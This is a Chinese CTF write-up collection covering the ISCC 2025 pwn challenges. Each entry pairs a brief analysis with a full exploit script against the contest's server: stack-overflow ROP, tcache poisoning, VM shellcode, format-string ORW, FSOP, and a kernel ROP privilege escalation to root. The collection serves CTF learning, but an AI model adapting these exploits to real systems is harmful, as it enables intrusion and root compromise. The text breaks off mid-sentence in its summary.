2025ISCC练武区域赛和决赛pwn以及擂台pwn合集
字数 1409 2025-08-29 22:41:02
ISCC 2025 PWN题目分析与解题思路
练武区域赛PWN题目
1. genius
题目分析:
- 简单的栈溢出漏洞
- 保护机制检查发现可以直接溢出
利用步骤:
- 通过交互获取canary值
- 构造ROP链获取shell
关键点:
- 使用
cyclic生成测试字符串 - 通过格式化字符串泄露canary
- 构造ROP链包含
pop rdigadget和system调用
EXP代码:
from pwn import *
context.log_level = 'debug'
host = "101.200.155.151"
port = 12000
conn = remote(host, port)
conn.recvuntil(b"you are a genius,yes or no?")
conn.sendline(b"no")
conn.recvuntil(b"Sir, don't be so modest.")
conn.sendline(b"thanks")
conn.recvuntil(b"what you want in init")
payload_length = 0x18
conn.sendline(cyclic(payload_length))
conn.recvuntil(b"\x0a")
stack_canary = u64(conn.recv(7).ljust(8, b'\x00'))
stack_canary = (stack_canary << 8) | 0x00
log.info("Leaked stack canary: " + hex(stack_canary))
ret_gadget = 0x000000000040101a
pop_rdi_gadget = 0x00000000004013f3
bin_sh_str_addr = 0x402004
system_plt_addr = 0x401050
rop_payload = (
cyclic(payload_length) +
p64(stack_canary) +
p64(0x0) +
p64(ret_gadget) +
p64(pop_rdi_gadget) +
p64(bin_sh_str_addr) +
p64(system_plt_addr)
)
conn.sendline(rop_payload)
conn.interactive()
2. mutsumi
题目分析:
- 堆利用题目
- 存在UAF(Use After Free)漏洞
- 使用tcache的攻击方式
利用步骤:
- 泄露libc地址
- 使用tcache bin的fastbin attack覆盖
__free_hook - 将
__free_hook指向system - 释放包含
/bin/sh的chunk获取shell
关键点:
- 通过释放大chunk泄露libc地址
- 利用tcache double free实现任意地址写
- 注意chunk大小和tcache bin的管理
EXP代码:
from pwn import*
context(arch="amd64", os="linux", log_level="debug")
libc=ELF('./program.so')
io = remote('101.200.155.151',12300)
def add(index,size):
io.sendlineafter(b'choice:\n',b'1')
io.sendlineafter(b'index:\n',str(index).encode())
io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
io.sendlineafter(b'choice:\n',b'2')
io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
io.sendlineafter(b'choice:\n',b'3')
io.sendlineafter(b'index',str(index).encode())
io.sendlineafter(b'length:\n',str(length).encode())
io.sendafter(b'content:\n',content)
def show(index):
io.sendlineafter(b'choice:\n',b'4')
io.sendlineafter(b'index:\n',str(index).encode())
add(0, 0x500)
add(1, 0x18)
delete(0)
show(0)
libc_base = u64(io.recv(6).ljust(8, b'\x00'))-0x1ecbe0
log.info('libc_base:'+hex(libc_base))
add(2, 0x500)
add(3, 0x70)
add(4, 0x70)
delete(3)
delete(4)
edit(4,0x70,p64(libc_base+libc.symbols['__free_hook']))
add(5, 0x70)
edit(5,0x70,b'/bin/sh\x00')
add(6, 0x70)
edit(6,0x70,p64(libc_base+libc.sym['system']))
delete(5)
io.interactive()
3. Fufu
题目分析:
- VM题目,需要分析虚拟机指令集
- 构造shellcode执行
利用步骤:
- 分析虚拟机指令集
- 构造合适的shellcode片段
- 通过虚拟机执行shellcode
关键点:
- 理解虚拟机的工作机制
- 构造符合虚拟机规范的shellcode
- 注意shellcode的分段和拼接
EXP代码:
from pwn import *
context(log_level='debug', arch='amd64')
conn = remote("101.200.155.151", 12800)
roles = {
0: b'tomorin',
1: b'rikki',
2: b'anon',
3: b'soyorin'
}
def send_instruction(role, data=b'saki', nptr=b'to'):
conn.sendline(data + b',ido')
conn.sendline(nptr)
if nptr == b'to':
conn.sendline(role)
def format_int(value_bytes):
return str(int.from_bytes(value_bytes, byteorder='little'))
shellcode_fragments = [
b"\x34\x3b\x90\x90",
b"\x66\xbb\x73\x68",
b"\x48\xc1\xe3\x10",
b"\x66\xbb\x6e\x2f",
b"\x48\xc1\xe3\x10",
b"\x66\xbb\x62\x69",
b"\x48\xc1\xe3\x08",
b"\x66\xbb\x2f\x62",
b"\x53\x90\x90\x90",
b"\x89\xe7\x90\x90",
b"\x0f\x05\x90\x90",
]
for fragment in shellcode_fragments:
send_instruction(roles[0], nptr=b"1")
send_instruction(roles[0], nptr=format_int(fragment))
conn.sendline(b'saki,stop')
conn.interactive()
练武决赛PWN题目
1. Dilemma
题目分析:
- 格式化字符串漏洞
- 开启了沙箱,需要ORW(open-read-write)调用
利用步骤:
- 泄露canary和libc地址
- 构造ROP链实现ORW
- 读取flag文件
关键点:
- 通过格式化字符串泄露关键信息
- 注意沙箱限制,不能直接执行system
- 构造ORW链需要正确的寄存器设置
EXP代码:
from pwn import *
from ctypes import cdll
import time
context(os='linux', arch='amd64', log_level='debug')
p = remote('101.200.155.151',12500)
elf = ELF('./attachment-42')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi = 0x40119a
ret = 0x40101a
bss = 0x404000 + 0x900
pop_rsi_r15 = 0x000000000040119c
p.recvuntil("go?\n")
p.sendline("1")
p.recvuntil("password:\n")
payload = b'%39$p%11$p'
p.sendline(payload)
p.recvuntil("0x")
libc_start = int(p.recv(12),16) - 128
libc_base = libc_start - libc.sym['__libc_start_main']
p.recvuntil("0x")
canary = int(p.recv(16),16)
success('canary:' +hex(canary))
p.recvuntil("password:")
p.send(b"a"*8)
p.recvuntil("go?\n")
p.sendline("2")
p.recvuntil("about\n")
payload = b'a'*0x28 + p64(canary) + p64(bss+0x30) + p64(0x4011C9)
p.send(payload)
p.recvuntil("a"*0x28)
pop_rdx_r12 = 0x11f2e7 + libc_base
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
pay = b'./flag.txt'.ljust(0x28,b'\x00')
pay += p64(canary) + p64(0) + p64(pop_rdi) + p64(bss)
pay += p64(pop_rsi_r15) + p64(0) + p64(0) + p64(open)
pay += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(bss+0x200) + p64(0)
pay += p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(read)
pay += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(bss+0x200) + p64(0)
pay += p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(write)
p.send(pay)
p.interactive()
2. easybee
题目分析:
- 内核提权题目
- 需要绕过KASLR
- 通过整数溢出实现栈溢出
利用步骤:
- 解析/tmp/kallsyms获取关键函数地址
- 泄露canary值
- 构造ROP链实现提权
- 返回用户态执行shell
关键点:
- 内核地址可直接访问(未开启KPTI)
- 整数溢出转换为无符号短整型实现栈溢出
- 正确构造提权ROP链
- 返回用户态需要正确设置寄存器
EXP代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/ioctl.h>
unsigned long long commit_creds = 0, prepare_kernel_cred = 0;
const unsigned long long commit_creds_base = 0xFFFFFFFF8109C8E0;
const unsigned long long swapgs_popfq_ret = 0xffffffff81a012da;
const unsigned long long movrdirax_callrdx = 0xffffffff8101aa6a;
const unsigned long long poprdx_ret = 0xffffffff810a0f49;
const unsigned long long poprdi_ret = 0xffffffff81000b2f;
const unsigned long long poprcx_ret = 0xffffffff81021e53;
const unsigned long long iretq = 0xFFFFFFFF81A00987;
int fd = 0;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
void core_read(char* buf) {
ioctl(fd, 0x6677889B, buf);
}
void change_off(int off) {
ioctl(fd, 0x6677889C, off);
}
void core_copy_func(unsigned long long nbytes) {
ioctl(fd, 0x6677889A, nbytes);
}
void get_function_address() {
FILE* sym_table = fopen("/tmp/kallsyms", "r");
if (sym_table == NULL) {
printf("\033[31m\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\n\033[0m");
exit(1);
}
unsigned long long addr = 0;
char type[0x10];
char func_name[0x100];
while (fscanf(sym_table, "%llx%s%s", &addr, type, func_name)) {
if (commit_creds && prepare_kernel_cred) return;
if (!strcmp(func_name, "commit_creds")) {
commit_creds = addr;
printf("\033[32m\033[1m[+] Note: Address of function \"commit_creds\" found: \033[0m%#llx\n", commit_creds);
} else if (!strcmp(func_name, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \033[0m%#llx\n", prepare_kernel_cred);
}
}
}
void shell() {
if (getuid()) {
printf("\033[31m\033[1m[x] Error: Failed to get root, exiting......\n\033[0m");
exit(1);
}
printf("\033[32m\033[1m[+] Getting the root......\033[0m\n");
system("/bin/sh");
exit(0);
}
int main() {
saveStatus();
fd = open("/proc/core", 2);
if (!fd) {
printf("\033[31m\033[1m[x] Error: Cannot open process \"core\"\n\033[0m");
exit(1);
}
char buffer[0x100] = {0};
get_function_address();
unsigned long long base_offset = commit_creds - commit_creds_base;
printf("\033[34m\033[1m[*] KASLR offset: \033[0m%#llx\n", base_offset);
change_off(0x40);
core_read(buffer);
unsigned long long canary = ((size_t*)&buffer)[0];
printf("\033[35m\033[1m[*] The value of canary is the first 8 bytes: \033[0m%#llx\n", canary);
size_t ROP[100] = {0};
memset(ROP, 0, 800);
int idx = 0;
for (int i = 0; i < 10; i++) ROP[idx++] = canary;
ROP[idx++] = poprdi_ret + base_offset;
ROP[idx++] = 0;
ROP[idx++] = prepare_kernel_cred;
ROP[idx++] = poprdx_ret + base_offset;
ROP[idx++] = poprcx_ret + base_offset;
ROP[idx++] = movrdirax_callrdx + base_offset;
ROP[idx++] = commit_creds;
ROP[idx++] = swapgs_popfq_ret + base_offset;
ROP[idx++] = 0;
ROP[idx++] = iretq + base_offset;
ROP[idx++] = (unsigned long long)shell;
ROP[idx++] = user_cs;
ROP[idx++] = user_rflags;
ROP[idx++] = user_sp;
ROP[idx++] = user_ss;
write(fd, ROP, 0x800);
core_copy_func(0xffffffffffff1000);
return 0;
}
擂台PWN题目
1. 命令执行器
题目分析:
- 树结构题目
- size大小存在符号溢出漏洞
- 可控的时间数种子用于hash计算
利用步骤:
- 利用符号溢出实现任意地址写
- 爆破libc基地址
- 构造ORW链绕过沙箱
- 读取flag文件
关键点:
- 使用seccomp-tools检查沙箱限制
- 注意libc版本和特征值
- 正确构造IO调用链
EXP代码:
from pwn import *
from ctypes import *
import time
context.update(arch='amd64', os='linux', log_level='DEBUG')
libc = ELF("./libc.so.6", checksec=False)
libc_RAND = cdll.LoadLibrary('libc.so.6')
xxx=0
def add(size,payload):
global xxx
if isinstance(payload, str):
payload = payload.encode()
cmd=b'add('+str(size).encode()+b')'+b':'+payload+b';'
p.sendlineafter(b'>>',cmd)
xxx+=2*5
def delete(idx):
global xxx
cmd='delete('+str(idx)+');'
p.sendlineafter(b'>>', cmd)
xxx+=2*3
def myencode(hash,list):
global xxx
randA=list[xxx-4]+(list[xxx-3]<<32)
randB=list[xxx-2]+(list[xxx-1]<<32)
hash^=randB & 0xF84075ECD213097F
hash^=randA & 0x1145140478
return hash
def exp():
global xxx
xxx=0
t_int = int(time.time())
offsets = [0, -1, +1, +2, -2,+3,-3]
arrays = []
for off in offsets:
gr = libc_RAND.srand(t_int + off)
arrays.append([libc_RAND.rand() for _ in range(100)])
a, b, c, d, e, f, g = arrays
add(0x500,b'AAAA')
add(0x500,b'BBBD')
delete(0)
add(0x500,b'fuck')
p.recvuntil(b'hash: ')
hash_or=int(p.recvuntil(b'.')[:-1],10)
arrays = [a, b, c, d, e, f, g]
hit = False
for lst in arrays:
libcaddr = myencode(hash_or, lst)
high4 = (libcaddr >> 44) & 0xF
low12 = libcaddr & 0xFFF
if high4 == 7 and low12 == 0xdff:
mask = ((1 << 36) - 1) << 12
libcaddr&=mask
hit = True
break
if not hit:
p.close()
mask = ((1 << 64) - 1) ^ ((1 << 17) | (1 << 18))
libcaddr &= mask
libcbase=libcaddr-0x21A000
delete(0)
delete(1)
add(0x500,b'fuck')
add(0x3f0-0x40,'fuck this')
delete(1)
delete(0)
libc.address = libcbase
stdout_addr = libc.symbols['_IO_2_1_stdout_']
payload=b'BBBB'.ljust(0x590-0x100-0xa,b'A')+p64(stdout_addr-0x20)*30
add(2**64-0x40,payload)
sleep(0.2)
pop_rax=libc.address+0x0000000000045eb0
pop_rdi=libc.address+0x000000000002a3e5
pop_rsi=libc.address+0x000000000002be51
pop_rdx_r12=libc.address+0x000000000011f2e7
syscall=libc.address+0xEA549
system_addr=libc.symbols['setcontext']+61
IO_wfile_jumps=libc.symbols['_IO_wfile_jumps']
call_addr = system_addr
fake_io_addr = stdout_addr
fake_IO_FILE = b'/bin/sh\x00'
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(system_addr)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(fake_io_addr+0xe8-0xa0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(1)
fake_IO_FILE += p64(2)
fake_IO_FILE += p64(fake_io_addr + 0xB0)
fake_IO_FILE += p64(call_addr)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b"\x00")
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b"\x00")
fake_IO_FILE += p64(stdout_addr + 0xf00)
fake_IO_FILE = fake_IO_FILE.ljust(0xA0, b"\x00")
fake_IO_FILE += p64(fake_io_addr)
fake_IO_FILE = fake_IO_FILE.ljust(0xC0, b"\x00")
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xD8, b"\x00")
fake_IO_FILE += p64(IO_wfile_jumps + 0x10)
fake_IO_FILE = fake_IO_FILE.ljust(0xE0, b"\x00")
fake_IO_FILE += p64(fake_io_addr-0X8)
fake_IO_FILE +=p64(fake_io_addr+0xf0+0x10)
fake_IO_FILE +=p64(libc.address+0x0000000000035732+1)*2
fake_IO_FILE +=p64(pop_rax)
fake_IO_FILE +=p64(2)
fake_IO_FILE +=p64(pop_rdi)
fake_IO_FILE +=p64(fake_io_addr+0x200)
fake_IO_FILE +=p64(pop_rsi)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(pop_rdx_r12)
fake_IO_FILE +=p64(0)*2
fake_IO_FILE +=p64(syscall)
fake_IO_FILE +=p64(pop_rax)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(pop_rdi)
fake_IO_FILE +=p64(3)
fake_IO_FILE +=p64(pop_rsi)
fake_IO_FILE +=p64(fake_io_addr+0x200)
fake_IO_FILE +=p64(pop_rdx_r12)
fake_IO_FILE +=p64(0x100)*2
fake_IO_FILE +=p64(syscall)
fake_IO_FILE +=p64(pop_rax)
fake_IO_FILE +=p64(1)
fake_IO_FILE +=p64(pop_rdi)
fake_IO_FILE +=p64(1)
fake_IO_FILE +=p64(pop_rsi)
fake_IO_FILE +=p64(fake_io_addr+0x200-0x8)
fake_IO_FILE +=p64(pop_rdx_r12)
fake_IO_FILE +=p64(0x100)*2
fake_IO_FILE +=p64(syscall)
fake_IO_FILE = fake_IO_FILE.ljust(0x200-0x8, b"\x00")
fake_IO_FILE +=b'AAAABBBD'
fake_IO_FILE +=b'/flag\x00'
add(0x3f0-0x40,fake_IO_FILE)
debug=1
while(1):
try:
if debug:
p = process('./pwn')
else:
p = remote('101.200.155.151',25000)
exp()
sleep(0.1)
res=p.recvuntil('AAAABBBD',timeout=0.5)
if res:
p.interactive()
else:
p.close()
except:
p.close()
2. mini pwn (book_manager)
题目分析:
- 图书管理系统
- 存在格式化字符串漏洞和栈溢出
利用步骤:
- 通过格式化字符串泄露canary
- 构造ROP链调用display函数
- 传入flag路径获取flag
关键点:
- 正确构造ROP链绕过保护
- 注意flag路径的传入
- 处理接收逻辑避免报错
EXP代码:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'
io = remote('101.200.155.151', 23000)
flag_addr = 0x4e9b2d
load_func = 0x40340C
pop_rdi_ret = 0x0000000000401a42
ret = 0x0000000000401a43
def add_book(title, author, publisher):
io.sendlineafter(b'>', b'1')
io.sendafter(b'Title', title)
io.sendafter(b'Author', author)
io.sendafter(b'Publisher', publisher)
io.sendlineafter(b'>', b'4')
io.sendlineafter(b'choose', b'2')
io.sendafter(b'name', b'a' * 0x28)
io.recvuntil(b'a' * 0x28 + b'\n')
canary_data = io.recv(7)
canary = u64(canary_data.ljust(8, b'\x00')) << 8
payload = p64(canary) + p64(0) + p64(ret)
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(load_func)
for _ in range(8):
add_book(b'a'*50, b'a'*30, b'a'*40)
add_book(b'a'*12, b'a', b'a'*3)
add_book(payload, b'b'*20 + b'\x00/flag\x00\x00\x00\x00', b'c'*40)
io.sendlineafter(b'>', b'6')
io.sendlineafter(b'>', b'5')
flag = io.recvline()
io.interactive()
总结
本次ISCC 2025 PWN题目涵盖了多种类型的漏洞利用技术,包括:
- 栈溢出:通过canary泄露和ROP链构造实现利用
- 堆利用:UAF、tcache poisoning等技术的